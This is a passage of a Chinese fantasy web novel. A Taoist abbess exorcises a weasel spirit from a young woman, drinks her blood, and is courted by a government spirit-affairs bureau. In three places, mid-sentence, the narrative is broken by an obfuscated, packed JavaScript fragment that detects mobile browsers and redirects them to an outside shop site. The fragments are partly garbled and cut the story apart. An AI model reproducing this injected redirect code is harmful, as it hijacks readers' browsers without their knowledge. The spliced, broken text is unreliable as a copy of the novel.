大约是消息走漏,其他宫观得知穆若水再次露面的消息,大为震动,派了各观的天骄过来打头阵,也是给徒儿们历练,这一波年轻的女女男男,做事冲动,不知观主脾气,居然在敲门无人应答时擅自推门而入! 观主大怒,把他们都赶了出来! 这帮人又在门口叽叽喳喳,观主就动手了。 占英几人无端被连累,有苦说不出。 占英先把飞踢乱踹的清净派小道长抱到一边,其他几人打圆场,好不容易劝下来。 占英:“诸位道友,稍安勿躁,让我来。” “那你来。”有人抱着桃木剑抬起下巴,正是方才率先推门的乾道。 占英暗骂了一句,脸上仍然笑眯眯地谢过,整理衣服,慢慢来到门前,两手相抱,内掐子午诀,认真地行了见过礼:“晚辈灵管局占英,师承阁皂宗。” “拜见慈让真人。”她再次揖下身子,态度恭敬万分。 如今在世能称真人的,除了穆若水,都是一百多岁不入世的老祖宗,龙虎山那位,还有茅山,加上全真道,不超过一掌之数。即便她看起来既不慈悲,也不谦让,占英也不敢有半分不敬。 况且,谁也不清楚慈让真人究竟多大岁数,说不定比老祖宗还大。 里面静了许久,传来一声轻描淡写、言简意赅的—— “滚。” 占英:“……” 先前让她上前的乾道喷出一阵笑,却听见身边的人惊恐地叫他的名字,他扭过头去,瞳孔放大,方才直立在旁边的石棺直直地朝他砸了下来。 从上至下的阴影笼罩他的全身。 乾道有几分身手,就地往后一撤,退出十来步,他脸上刚浮现得意之色,石棺棺盖以比之前更快的速度飞了过来,结结实实地砸上他的胸口,五脏俱伤,哇的吐出一口血。 其他人吓了一大跳,脸色煞白。 他们还愣在原地,门又开了,这次从里面扔出了一把黄豆。 占英最先反应过来,大叫:“不好,快跑!!!” 黄豆落地,化为阴兵,铜盔铁甲,身材高大,举着煞气十足的刀剑,挥刀向天骄们砍去。 所到处阴风唳唳,万鬼齐哭。 天骄们哪见过这阵仗,吓得连咒语都忘了,一边丢符一边哭着往回跑,占英几人拖起身受重伤人事不省的乾道,指挥众人撤到了山脚。 远远的,还听到观中传来一声轻蔑的冷笑。 “呵。” 一番碰壁,众人各怀心思。 占英自然是想着这回任务麻烦了,大部分人心有余悸,但小声哔哔。 “刚刚那是撒豆成兵吗?我还是第一次亲眼见到,这么高深的道法我师父都不会呢。” “我们观主也不会,我以为是书上骗人的。” “穆观主好厉害。” “虽然她打伤刘道友不对,但也是刘道友不敬在先。” “对对对。” “就是就是。” 虽然依旧畏惧,但质疑声已经没有了。 清净派的小道长两眼亮晶晶地望着山上的方向。占英把众人汇集到一起,让他们不要再轻举妄动,愿意继续等的就继续等,不愿意的可以各回各家。 天骄们拿出手机给长辈打电话请示去了。 占英又问一众人里谁医术最好,一位十七八岁的坤道出列,取了一碗水,对着它念咒,最后让昏迷的乾道服下,刘道友痛苦的面色缓解了许多。 坤道起身,把碗放到一边,说:“只能暂时稳住伤情。” 占英:“救护车马上就到。” 对方颔首,重新回到了队列。她站到队伍最后,碰了碰一位少女的衣袖,小声道:“你不是有治内伤的丹药?” 正是那位清净派的小道士,名璇玑,今年只有十五岁,道袍都比人家小一号。 璇玑哼了一声,说:“我偏不给他用。” 天骄们和长辈商议过后,留下一部分,走了一部分,走的人更多,剩下的只有不到十人。占英打电话给局里请求支援,派了更多的人过来,驻守在山下,无人机轮番在空中巡岗,连晚上都有人值守。 璇玑作为留下来的一员,也日夜看着,不知道是不是她想多了,她觉得……好像监视啊。 山顶月色一夜凉过一夜。 蓬莱观后院,通身鲜红的石棺里,传来一阵刺挠的声音,因隔着一层有些发闷,似乎是指甲划过石板,不停地刮不停地刮,越来越快! 不久后,棺盖冲天而起,直直飞到十几米的高度,轰然落地,一声巨响。 穆若水的双手手腕都现出细细的红线,似乎要从她皮肤里勒出血来,渐渐入肉,直至斩断她的手腕。 随着棺盖再一次合上,棺中空空如也,已没有女人的踪影。 无人机画面里树叶动了一下,坐在监控前的人敏锐地投去视线,接着所有的画面里树叶都动了。 他的警惕放下来。 是风。 占英掀开帐篷,从外面走进来,问道:“有异常情况吗?” 办事员回道:“没有。”他随口叮嘱,“外面风大,大伙晚上都注意保暖。” 占英:“风?没有风啊。” 办事员:“不对,我明明看到……” 占英看完之前的监视器画面,暗道一声糟了,她冲出门去,紧急丢下一句:“马上上报局里!” *

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723051|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > C大,食堂。 已经步入秋招,早就搬出宿舍的傅清微和家在本地的甘棠好不容易在学校相会,甘棠夸张得宛如牛郎织女一年一会,抱着她不肯撒手,大诉衷情。 趁着打饭的时间,傅清微才能和她暂时分开片刻。 即使关系好,也未免太粘人了一些。 傅清微特意在窗口前多停留了一会儿,转身看到甘棠向她用力招手,面带笑意慢慢走过去。 甘棠一看她堆成小山的盘子,惊道:“这么多,你吃得完吗?” 傅清微也不知道为什么,最近特别容易觉得饿。 “能吧,消耗比较大。”她这么回答道。 甘棠不知道她具体指的什么消耗,但傅清微一个人养活自己,确实比她忙比她辛苦,于是她目光温柔地说:“那你多吃点,待会我请你喝奶茶。” “嗯嗯。”傅清微埋头苦吃,大快朵颐,都没有抬头看她一眼。 甘棠突然感到了微妙的不对劲。 “清清。” 傅清微没有反应。 她的吃相也特别夸张,完全不像平时的样子,风卷残云,很快桌上便留下一堆鸡骨头。 傅清微擦了嘴,抬起脸问她:“怎么了?” 又恢复了往常清淡温柔的样子。 甘棠:“……没什么。我们去买奶茶吧。” “我请你吧,最近发工资了。” “上次就是你请的,这次我来。” “是吗?”傅清微有些记不清了,不仅容易饿,她最近精力也不济,老是犯困,幸好没有重要工作。 “是啦是啦,我请你。”甘棠挽着她的胳膊笑嘻嘻地走远。 傍晚,傅清微回到自己租住的小区,手里拎着一个红色的塑料袋,对面走来的邻居和她打了声招呼,蓦的扭头看向她袋子里伸出来的一把香,还有白蜡烛隐约的轮廓。 清明还没到啊,这是要在家里祭祖? 傅清微打开家门,将买回来的烧鸡放进冰箱里,里面还有一些生肉,香烛和线香等一应物品放在茶几上。 她双目直直地看向前方,走进卧室,关起门睡觉。 子正,十二点。 一片漆黑的房子里传来不停咀嚼的声音,连骨带肉,嚼碎了咽下去,牙齿和骨头摩擦出的声音令人毛骨悚然。 鸡骨头撒了一地,贪婪的目光投向了冰箱里的生肉,“傅清微”眼泛绿光,一把抓出生肉塞到自己的嘴边。 人类的身体和本能无法进食生肉,何况刚吃了一整只烧鸡,她吞进去一口便吐出来半口,又用沾满油水的双手将吐出来的塞进去,一边吃一边吐地吃完了一斤生肉。 她吃得满脸泪水,干呕不断,手却将食物不停地往胀满的胃部塞。 月光穿过阳台,照进屋里已不够亮,蒙蒙的一片,冰箱前的身影将头埋在里面,咀嚼声不绝于耳。 冰箱里能吃的都吃空了,“傅清微”来到阳台,面朝月亮跪拜,拆开了祭品里的香烛,她正要往嘴里放,面前的月光却被严丝合缝地挡住了。 八层的高楼阳台悄无声息地出现了一个女人。 她赤着双足,脚踝各有一圈明显的红线。 “傅清微”慢慢抬起头,对方的身影清晰映在她漂亮的瞳孔里。 女人体态修长,赤足而立,鲜红道袍裹身,腰悬玉佩,身披鹤氅。 ——正是离开宫观孤身下山的穆若水。 穆若水冷冷地瞧着它,面无表情。 它本来对人打扰她拜月十分不喜,一见她装扮和面容,倒是发出嘻的一声笑,矫揉地一抚鬓角,用傅清微的声音柔声问道:“道长,你看我像人还是像仙?” 不知道为什么,穆若水见它用这副身躯这般作态,更用她的声音,胸中怒火大作,瞬时滔天! “孽畜,找死!” 她抬手扼住对方的咽喉,从地上拎起来,生生提至双脚悬空。 “傅清微”不躲不避,可穆若水分明见那黄鼠狼的脸上生出一张哭泣的脸,正是傅清微自己的脸! 穆若水脚步后撤,手指的力道不由松了两分。 “杀了我,她也活不了。” “道长,你舍得吗?”娇媚柔美的女人声音再次响起来。 5. 第五章 黄鼠狼修炼不易,俗话说千年黑,万年白,这只黄鼠狼是家族中的翘楚,皮毛已将近完全变黑,至少有七百年往上的道行。 三百年前,黄某修炼成人形,第一次讨封,遇到个小孩,问他自己像不像人,小孩贪吃贪玩,指着它拍手大笑说像个大西瓜,导致它修行尽毁,从头再来。 能够第二次讨封的黄鼠狼寥寥无几,这次黄鼠狼嗅到了这个世界不一样的地方,经过它的多方观察,选择了傅清微这个绝佳宿体顺利附身,发誓绝不重蹈覆辙。 就在它准备讨封的当口,穆若水送上门来。 道士是在天曹登记过名字的神职人员,言出法随,比常人不知胜过凡几,若得她亲口承认,说不定能直接得道成仙,何苦它再修炼千年。 这道士若想反过来降服它…… 自己有八百年道行,她看起来不过二十来岁,说不定连张符都画不成,简直痴人说梦! 况且自己还拿着她的软肋。 傅清微的记忆很难调取,但隐隐约约闪过一副两人缠绵在一起的画面,暗色昏红,道士的脸埋在傅清微的脖子里,一定是她很重要的人。 “道长,你舍得吗?”黄鼠狼用这副皮囊的声音说道,对方果然慢慢将它放了下来,只是依然面无表情。 黄某的双脚踩到实地,喉咙的禁锢也渐渐松开。 它左右动了动自己几乎要重获自由的脖子,得意地微微一笑,想要再一次发问,却发现脖颈上的那只手再一次攥紧。 “你也配?”道士阴着脸说。 “神归庙,鬼归坟,妖魔鬼怪归山林,急急奉玄武真君律令。” 平淡的咒语声在面前低声响起,黄某只感觉一股巨大的力量将它排除出傅清微的身体,人脸上数次浮现出黄鼠狼的原型,它色变道:“不可能!你怎么可能把我驱逐出去?” 只是念了一段咒,连黄纸符箓都没有,怎么可能?! 黄某忽然回想起她方才念咒时,空着的右手垂在身侧画了几笔的手势。 “虚空画符!”黄某瞳孔骤缩,半个灵体已经从身体里挤了出来,终于露出它本来的声音,一男一女两道声音同时响起,雌雄同体,异口同声,不似人能发出来的。 这下黄某不想封仙了,只求能在这厉害的道士手底下活过一命。 见势不好,黄鼠狼的灵体面庞扭曲,拼命大喊:“仙师饶命!仙师饶命!” 此刻它的灵体已完全脱离傅清微的身体,趁着穆若水没反应过来的功夫竟是扭头向外冲去! 它逃了! 它竟然逃了,灵体化作一阵烟,头也不回。 它的本体在几十里开外的郊外,只要让它回到本体,只要让它回到本体,它就安全了。 只要…… 黄某发现自己的灵体停滞在空中,像是被棺材钉一样地牢牢钉住四肢,底下是小区的灯火。它被迫转过脸,看见那名样貌年轻的红衣道士一手抱着它原来附身的宿主,一只手缓缓伸向半空。 “不……”黄某心中升起巨大的恐惧,拼命抵抗,却如同蚍蜉撼树,飞也似的飞回了八楼阳台。 它的咽喉也再次回到道士的手中,与先前不同的是,这次是它自己,没有皮囊再为它挡枪。 “我说过,你一定要死。” 灵体被一掌轻而易举地打散那一秒,黄某看清了,这次道士既没有画符,也没有念咒,她只是轻轻地一抬手,自己的灵体便遭受到了无法想象的痛苦,痛得它连声惨叫。 魂魄争前恐后地撕裂,修行与命俱丧,惊恐和不甘交织,黄鼠狼在生命前的最后一刻嘶声质问道: “你不是道士!你究竟是——” 声音随着灵体的彻底消散戛然而止,连尾音都没留下。 穆若水捻了捻指腹,甩去手上不存在的灰,低头看向昏迷在她怀里的年轻女人,对方原本就苍白的脸更是毫无血色,尤挂泪痕,穆若水环着她腰间的手臂圈了圈,似乎在留恋这份触感。 高处的狂风灌满她鲜红的衣袖,穆若水在夜色里难得出了会儿神,抬手点上傅清微的眉心。 冰凉修长的指尖在额头移动,落成的符文泛起金光一闪,傅清微长长的羽睫颤抖。 长袖滑落到肘弯,穆若水一手执起她的手腕,轻缓按揉内关穴,另一只手轻轻拍着她的后背。 傅清微睁开眼睛,连身边的人都来不及看仔细,冲进了卫生间。 刚刚汲取到的一点热量从怀中抽离,穆若水低头瞧了瞧空荡荡的怀抱,不紧不慢地进了客厅,隔着一扇门看着大吐特吐的年轻女人。 耳边传来难受的呕吐声。 穆若水自然地环视四周,从茶几的凉水壶里倒了一杯水出来。 被黄鼠狼上身时,胃里塞满的未消化的食物从喉咙返上来,傅清微抱着马桶,足足在卫生间呆了半个小时。 生理上的反胃过去,心理上的恶心迟迟不过去。 哪怕已经吐无可吐,但还是时不时地干呕,齿间生肉的油腻感袭上她的心头,她再次呕出胃酸,虚脱地站不起来。 最后连胃酸都吐不出来,她扶着马桶盖站起来,疯狂刷牙漱口,一步一步将自己挪出卫生间。 不行,太恶心了,她得去医院洗个胃。 穆若水坐在沙发上神情自若地喝水,脚上穿着主人的拖鞋。 傅清微:“……” 和被精怪附身比起来,山上的道长出现在这里仿佛没有那么离奇。 她与黄鼠狼缠斗之际,她隐约恢复了一些自我意识,所以傅清微对她的行为没有任何不满。 傅清微撑着虚弱的身体,走到她面前,认真向她道谢: “多谢道长,又救了我一次。” 道长撩起眼皮,扫了她一眼,冷艳回她:“自作多情。” “……” 不知为何,傅清微竟然轻轻地笑了一下。 她脸色极白,眼尾却被咳出了一片浸润湿意的潮红,于是肤色愈白,唇愈红,一向清淡的脸,灯光下美得惊心动魄。 穆若水攥着水杯的指节紧了紧。 她视线下意识想移开,一种莫名其妙的胜负欲让她抬起了脸,笔直地看向对方。 傅清微又笑了一下,问她道:“道长有没有看到我手机?就是一个……嗯,比纸片厚一些,长方形……” 她意识到这样描述对方也可能听不懂,所以一边说一边比划。 “点一下就会亮起来的。” 穆若水面不改色从袖子里掏出她的手机,递给她。 傅清微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723052|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不动不惊:“谢谢道长。” 仿佛丝毫没觉得她的手机在对方身上有什么不对。 傅清微从容接过手机,拨打了120,说她不小心食物中毒,要去医院洗胃。 120半小时后到,傅清微挂断电话放下手机,喉咙和胃部熟悉的感觉翻涌,她又要去卫生间,穆若水叫住她,淡道:“你现在只是心理作用,吐不出什么。” “我知道,但是我忍不住,觉得恶心。”傅清微苦笑。 “很恶心吗?”道长问。 “是吧。” “我有一个方法。” “什么方法?” “你走近些。” 傅清微依言靠近,来到穆若水的身前。 “再靠近些。” 傅清微有些不自在,她们俩的脸相距只有十几公分,几乎能看清女人长而卷翘的睫毛。 “再近些。”女人近在咫尺的声音像是蛊惑的情丝。 傅清微咬了咬唇,缓慢靠近,后颈突然传来一阵剧疼,紧接着失去了意识。 穆若水接住昏倒在她怀里的年轻女人,唇瓣微微扬起。 这样不就好了? 但她绝不只是好心帮对方止吐,而是蓄谋已久。 穆若水瞧着对方昏迷的脸,食指指背刮过年轻女人柔滑的侧脸,轻叹道:“都跟你说过不要自作多情了,怎么不信呢?” 穆若水起身,将怀里的年轻女人横抱起来,大步向卧室的方向走去。 幽香拂过鼻翼,穆若水脚步蓦然一顿。 心念动了动,但脑海中一片空白。 她的动作像是骤然被打断,几秒后才重新续起,她的步履变得轻且稳重,平稳地将对方放到了卧室的床上。 穆若水出去倒了一杯水回来,半扶起对方的身子喂她喝下。 傅清微只是昏睡,呼吸变得均匀,安静地躺在床上。 女人坐在床沿,暂时遗忘了她的来意,一动不动地凝视对方的睡颜。 就好像…… 就好像她曾经这样看过她成千上万次。 穆若水恍惚地想道: 她是不是……胸口有一颗红色的痣? 女人鬼使神差地伸出双手,靠近傅清微的领口,一颗一颗解开她睡衣的纽扣,在左胸口起伏接近心脏的地方,连绵的山峦间,红痣像是朱砂一样点在她的心口,随着主人的呼吸,它仿佛也有生命似的,愈发鲜艳夺目。 一声痛苦的闷哼从穆若水的口中发出来,唤醒了她的神智。 她挽起袖口,手腕的红线比来时更深了,艳若鲜血,她再次将视线投向昏睡的女人,目中毫无怜惜,只剩一片冰冷。 她俯身下来,压低身子,昏黄的灯光影影绰绰地将两人笼罩在一起。 穆若水将她的脸埋进了对方的脖子,唇瓣上众多的毛细血管感受着薄薄皮肤下血液的流动。 就像另一种无可奈何,越过岁月长河,终于在这一刻长久地相拥。 穆若水比上一次迟疑了更久的时间。 傅清微醒得比她预料得快很多,齿尖正准备刺入血管的时候她就醒了,穆若水下意识抬手蒙住了她的眼睛,语气带着不曾有过的安抚的温柔: “我会轻一点,忍一忍,不要怕。” 6. 第六章 傅清微白细的脖颈后折,生命力伴随着血液的离开而消逝,熟悉的感觉让她确认上一次并不是幻觉。 但女人伏在她的身上,她抵抗的力道圈在她的肩膀,比起推拒,更像是一个心甘情愿的拥抱。 傅清微当晚第三次昏迷过去。 这次比前两次都要严重,她被黄鼠狼附身将近一个月,身体本就受损,今夜连番折腾,最后失血过多,面色惨白如纸,气息微弱。 祝由术不能凭空造血,穆若水意识到了情况危急,当下从袖子里掏出另一部手机。 那天从水镜里她就学会了手机的用法,生疏但是顺利地打开屏幕,点进通讯录,里面只有一个名字:什么都管——占英(点我快点我)。 占英正在为穆若水失踪焦头烂额,山穷水尽,柳暗花明,深夜街头她的手机响了! 来电显示:若水道长。 占英险些喜极而泣,火速接起来:“观主请讲,小占子愿意为您效劳!” 旁边的同事及下级们:“……” 穆若水:“什么都管,叫个大夫。” 占英:“好的好的,我带人马上到。” 穆若水来时已经记住了地址,报给她,占英一边马不停蹄赶过去,一边通知医院做准备。 电话挂断,局里同事朝占英竖了个大拇指。 用无人机送物资,确实有一手,怪不得年纪轻轻已经是正科了。 早在上山拜访那一天,占英就做了两手准备,顺利的话她们见个面,她传达上级意思,效犬马之劳,不顺利的话……嗨呀,果然不顺利,她在山下布置人员的同时,调了一架配送的无人机,把插了卡的手机附使用说明,日常衣物以及生活指南打包送上山,空投进道观里。 想要掌握穆若水的行踪,有更方便的办法,就是在手机里植入定位,技术上当然可以,但是上级指令是密切观察,不得冒犯,有求必应。局里是希望将她请回去坐镇的,若是被她发现他们使这种手段,到头来慈让真人一发怒,只会酿成严重的后果。 好在,一切都往她希望的方向发展了。 占英和救护车差不多同时赶到,已经没有穆若水的踪影,傅清微躺在车厢里,占英坐在她身边,救护车朝来时截然不同的方向驶去。 翌日凌晨,占英收到驻守在蓬莱观的同事讯息: 【观主已经回来了,在山上】 占英想了想,道:【撤走一半人手,让他们回局里】 【是,那您呢?】 浓墨被一丝一丝地抽走,晨曦从窗帘透进地板,占英从单人病房的窗口看进去,轻轻地推门而入。 【我有更重要的事要办,不回去了】 …… 滴——答—— 滴——答—— 穆若水在石棺里睁开眼睛,抬手搭在棺木边缘,左手的木色佛珠在腕骨滚动,手腕光洁如初。 她借力从棺材里一跃而起,来到后院东南角的水镜前。 傅清微听觉灵敏,是先听到耳边输液缓慢的滴答声,嗅觉才开始工作,医院消毒水的气味,尔后是触觉,手心下抓的是床单,最后才是蒙蒙光亮里,坐在床头的身影。 那位道长……没有走吗? “你醒了。” 占英假装没看到她发间狗狗祟祟,一见她吓得整张纸都在抖的小纸人。 傅清微视网膜前的白光散去,看见面前和颜悦色的年轻女子,她眉头动了动,觉得对方似乎有些面善。 占英道:“我们见过的。” 已经过去一个多月了,傅清微记得不太清晰,加上她被黄鼠狼附身,这个月浑浑噩噩的,记忆更错乱了,实在很难想起来。 占英抬手松了马尾,从兜里掏出一根木簪,三两下把头发挽成道髻,木簪插在乌发里。 傅清微想起来了:“你是公交车上那位小道长。” 占英笑起来:“没错,是我。” 她摸了摸鼻子,说:“也没有很小吧,我比你大一岁。” 傅清微却问:“你怎么知道我的年纪?” 占英惊讶于她的敏锐,刚醒过来便抓到她话里的漏洞,她诚恳地道:“我们有调取公民信息的权限,程序合法。” “你们?你究竟是谁?” “本来想等你休息好了再告诉你的。”占英站起来,向病床前的傅清微伸出修长有力的手,神色间多了肃穆和严谨,道,“重新自我介绍一下,灵异事件调查和管理局,调查二处科长,占英。” 傅清微直起身子,和她礼貌地握了手。 “你好,傅清微。” “觉得拗口的话,你也可以称呼我们有关部门。”占英坐下来,亲切地笑了笑。 据说每个国家都有神秘的有关部门,只是不现于人前,她们现在找上自己,傅清微不确定是和附体的黄鼠狼有关,还是因为昨晚再次出现的女人。 如果是后者,她们的目的是什么?想把那位道长怎么办? 傅清微暂且按下心思,问道:“你是道士吗?” “我当然是。” 占英今天没穿道袍,这也是傅清微没有第一时间认出她的原因。 傅清微上下打量了她一圈,问出了一个百思不得其解的问题。 “道士也要考公?” 现在就业形势差成这样了??? 占英噗嗤一声,差点被自己的口水呛到,她扭过头咳嗽了半天,一边拍椅子腿一边捶自己的胸口。 实在太好笑了,她要回去把这段对话传遍局里。 “不好意思。”占英调整了自己的面部表情,清了清嗓子道,“严格来讲,我不是考进来的,我师父在局里。” 傅清微:“……” 敢情这位还是个萝卜坑啊。 占英眼看着她看向自己的眼神越来越微妙,心下一个了然,连忙摆手解释道:“我不是靠关系啊,我可是我们那届的第一名。” 傅清微不失礼貌地微笑,满眼的:真的吗?我不信,萝卜坑还能是第一? 占英越抹越黑,干脆不解释了,道:“有缘你自然会知道。”没缘分的话这应该是她们最后一次见面了,误解就误解吧。 傅清微:“好的,同志。” “叫道长就行。” “道长。”傅清微从善如流。这是她认识的第二位道长,至于第一位……傅清微摸了摸自己再一次变得光滑的侧颈,没有伤口的痕迹。 占英道:“那天在公交车上,我和另一位道友见你运势奇低,三盏火的火苗奄奄一息,大概率会撞鬼或遇到灵异现象,所以想叫住你给你一张辟邪符,没想到你走进一条巷子里就不见了,你那天遇到了什么?” 傅清微垂下眼眸。 占英:“不相信我的身份,我可以叫一名警官陪同。” 傅清微看着萝卜。 占英:“……好吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13723053|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 二十分钟后,傅清微坐在病房的单人沙发,占英和女警官坐在她的对面,警官一言不发,起到一个盖章防伪的作用。 占英:“所以那天你从巷子里消失以后,到底遇到了什么?” 对于人民警察的信任战胜了一切,傅清微把那天上午的事和盘托出,但是直觉隐去了穆若水咬她脖子,似乎吸了她的血的事。 占英表情凝重。 原来慈让真人是那时候醒的,为什么是她? 占英:“那昨天晚上呢?慈……观主为什么来找你?” 慈? 傅清微注意到了这个字节,愣神片刻后,抬手下意识慢慢抚上自己的脖颈。 她那种摸法很有深意,仿佛一边摸一边回忆,“来回回味”,占英作为与人打交道经验丰富的科长,一瞬间就脑补了无限种可能。 根据行为心理学,其中最有可能的,当然是穆若水昨晚接触过她的脖子。 是用的手?还是用的……嘴巴? 占英不太敢往深入了想。 但是动辄大发雷霆的慈让真人接连两次见她,还亲密地碰她的脖子,实在是很难让人不多想啊! 占英嘶了一声。 傅清微:“因为我被黄鼠狼附体了吧。” 这个弯转得太急,占英坐在车上没坐稳,险些甩了出去:“啊?什么黄鼠狼?” 傅清微:“你们没发现吗?” 占英:“……” 她们根本就没进傅清微的家门,也没有见到慈让真人,是在楼下刚好和抬着傅清微出来的救护人员碰上,她先陪傅清微来医院,其他人上楼发现门关了,也不好私闯民宅。 谈何发现黄鼠狼的踪迹? 傅清微的眼神明晃晃地流淌出对传说中的有关部门能力的怀疑。还灵管局呢,就这? 占英:“……” 她哑巴吃黄连,只能硬着头皮继续往下问:“后来呢?那只黄鼠狼怎么样了?” 傅清微:“应该是被慈……” 占英不接她的茬,傅清微试探不成,实话道:“被观主解决了,怎么解决的不清楚,我当时在昏迷。” 占英在这时表现出灵管局的作用,拿出手机打电话,派人去调查黄鼠狼,并对傅清微道:“很快就会有结果了,我们一定会把这件事查清楚,给你一个答复。” “谢谢。” 灵管局在傅清微心目中的形象稍微挽回了一些。 占英:“最后一个问题,观主昨晚来找你,有没有对你做什么?” 傅清微:“没有。” 占英微微一笑。 她否认得太快了,连思考的余地都不留,占英想相信她都没办法,何况占英已经有了怀疑的方向。 占英掏出自己的手机,在通话记录里选了若水道长的名字拨出去。 穆若水从水镜里看到占英在手机屏幕上点了一下,四下安静,恼人的铃声从她袖子里突然响起,害她白白一个激灵,好一会儿才找到声音来源,按下接听键。 占英:“观主,我是小英子啊。” 穆若水不留情面:“滚。” 占英笑容满面,把手机贴到了傅清微的耳边,口型提示她:说话。 傅清微只好:“观主。” 观主的声音依然冷冰冰的,惜开金口,但与对待占英等人的态度来说,已是天壤之别。 “身体好些了?” 7. 第七章 瞧瞧这明目张胆的双标。 占英笑开了花。 如果是这样,她好像找到圆满完成上级任务的方法了。 面对穆若水的“关怀”,傅清微也只好客客气气地回道:“好多了,谢谢道长关心。” 嘟嘟嘟—— 穆若水连句结束语都没有,比如“那就好”或者“嗯”,一个字没说就把电话挂了。 傅清微看着吃了闭门羹却满脸笑容的占英,感觉自己身边已经没有一个正常人,她好想回家。 但回家是不可能回家的,住院建议上写着最好再躺一天,于是她问:“占道长,我可以休息了吗?” “可以,当然可以。” 不知道是不是傅清微的错觉,占英对她的态度九十度大转变,从友好变成了极其相当友好,甚至有发展成讨好的倾向。 “你睡吧,我给你关门。” 占英带着借来的女警一起离开了。 从昨晚到现在经历了太多,傅清微身心俱疲,不愿意再去思考,暂时给自己的脑子和身体放个假,拉上被子很快就陷入昏沉的梦乡。 穆若水虽然天天躺在棺材里,却很少深眠,在五感共通的影响下,她居然感受到了久违的困意。 水镜里一片黑暗,因为传达影像的主人已经睡去。 道观里的风沙沙地拂过树叶,无人去和,因为施展术法的主人也已经睡去。 隔着几十里的山上红尘,是否能做着同一个梦。 * 医院顶楼。 占英正在和她的师父打电话。 “师父,我找到一个人,和慈让真人关系匪浅。如果我们把她吸纳进灵管局……” 她师父很快明白了她的提议。 慈让真人性情暴戾,怒怒无常,动辄大发雷霆出手伤人,又道法精深,威逼利诱只会适得其反,想让她乖乖为灵管局办事,只能迂回。假如她们的关系真不简单,从傅清微这里入手,或许真能达成目的。 她师父问:“怎么个匪浅法?你有几成把握?” 占英额了一声,说:“关系不好说,可能有个五六成?” 她师父轻哼了一声,电话里女人的声音道:“带那个叫傅清微的来局里,我见见。” “她还在住院呢,明天吧师父。” “明天上午九点。” “师父……” 她师父听出占英的欲言又止,按在挂断键的指尖停下,问道:“还有事?” 占英:“我不明白,为什么一定要逼……让慈让真人为局里办事,她是方外之人,平时就在山上住着,没招谁没惹谁的,好好过她的日子不行吗?” 也不见茅山和阁皂宗的老祖是这待遇啊?难不成欺负蓬莱观小门小户?若真如此,令人不齿。 师父沉默了一会儿,道:“这不是你能知道的。” 占英:“意思是师父你知道?” 女人叹了口气,道:“为师知道的也不多,你不要再问了,等你的权限到了,自然会知晓。” “好吧,徒儿还有一事不明。” “说。” “慈让真人的脾气为何如此糟糕?”占英身为玄门中人,又师承渊源,见过不少真性情也有暴脾气的长辈,指天骂地让雷祖劈人,基本都事出有因。唯独脾气坏成这样的,随手将晚辈送进ICU,实在闻所未闻。 “你们打扰她睡觉,不兴人家有起床气?”师父淡道。 “妙啊师父!”占英醍醐灌顶,但是她很快又记起来,跳脚道:“不是局里点名让我去的吗?!敢情好差事从来不想着我,苦差事净让我干了!” “喂,你说什么?为师这信号不太好,先挂了啊。” “师父!” 占英听着耳朵里无情的忙音,只能把苦咽下,继续筹划怎么完成上级交代的任务。 灵管局与各机关部门协作相当深,在傅清微睡觉的时候,黄鼠狼的事便已查清,它的尸体在几十里开外的郊外找到,巧的是正好在城区通往蓬莱观的方向上。 从摄像头里也看到,大约一个月前,傅清微从蓬莱观回来后,又打车去了一次郊外,她运势低,阳气不足,或许正是那时被黄鼠狼趁机附了身。 至于傅清微为什么会去郊区,有可能是回头去找道观的,然而无功而返,反倒惹祸上身。 令占英感到奇怪的是,黄大仙为什么会出现在西南? 胡黄不过山海关,五百年之期未到,它们不该出现在这里。 占英登高,站在楼顶远眺,远处的浓云堆积盘旋,像是缓缓张开的漩涡。 艳阳高照,却近处明远处暗,她二指在眼皮一抹,借助道法开了天眼,往云层中望去,隐隐可见淡淡的黑气。 世间近来异象频出,或许真的要变天了。 慈让真人的醒来,是否和这异象有关?局里一定要招揽穆观主,又和这件事有关吗?她会在其中担任什么样的角色? 傅清微能顺利加入灵管局吗? 她的计划能不能实现? 从远忧想到近虑,占英头大如斗,果断打开手机点了杯奶茶外卖,缓解焦虑。 她从楼顶下来,在病房外观察了一会儿,发现傅清微还在睡。 她暂时离开了医院。 病房里,小纸人轻手轻脚地从傅清微的发间爬了出来,翻过枕头,越过床沿,在即将掉下来时浮起在半空,缓缓地朝垃圾桶上方飘去,火光一闪,纸人无风自燃,化为一摊灰烬,在重力的牵引下直直坠落进垃圾桶。 神不知鬼不觉。 病床上的年轻女人薄唇淡粉自然微张,均匀清浅地呼吸,睡颜安宁。 风轻轻掀动窗帘,丝丝缕缕的风吹开她轻锁的秀致眉头。 “慈……” 似乎喃喃地道了一句什么。 * 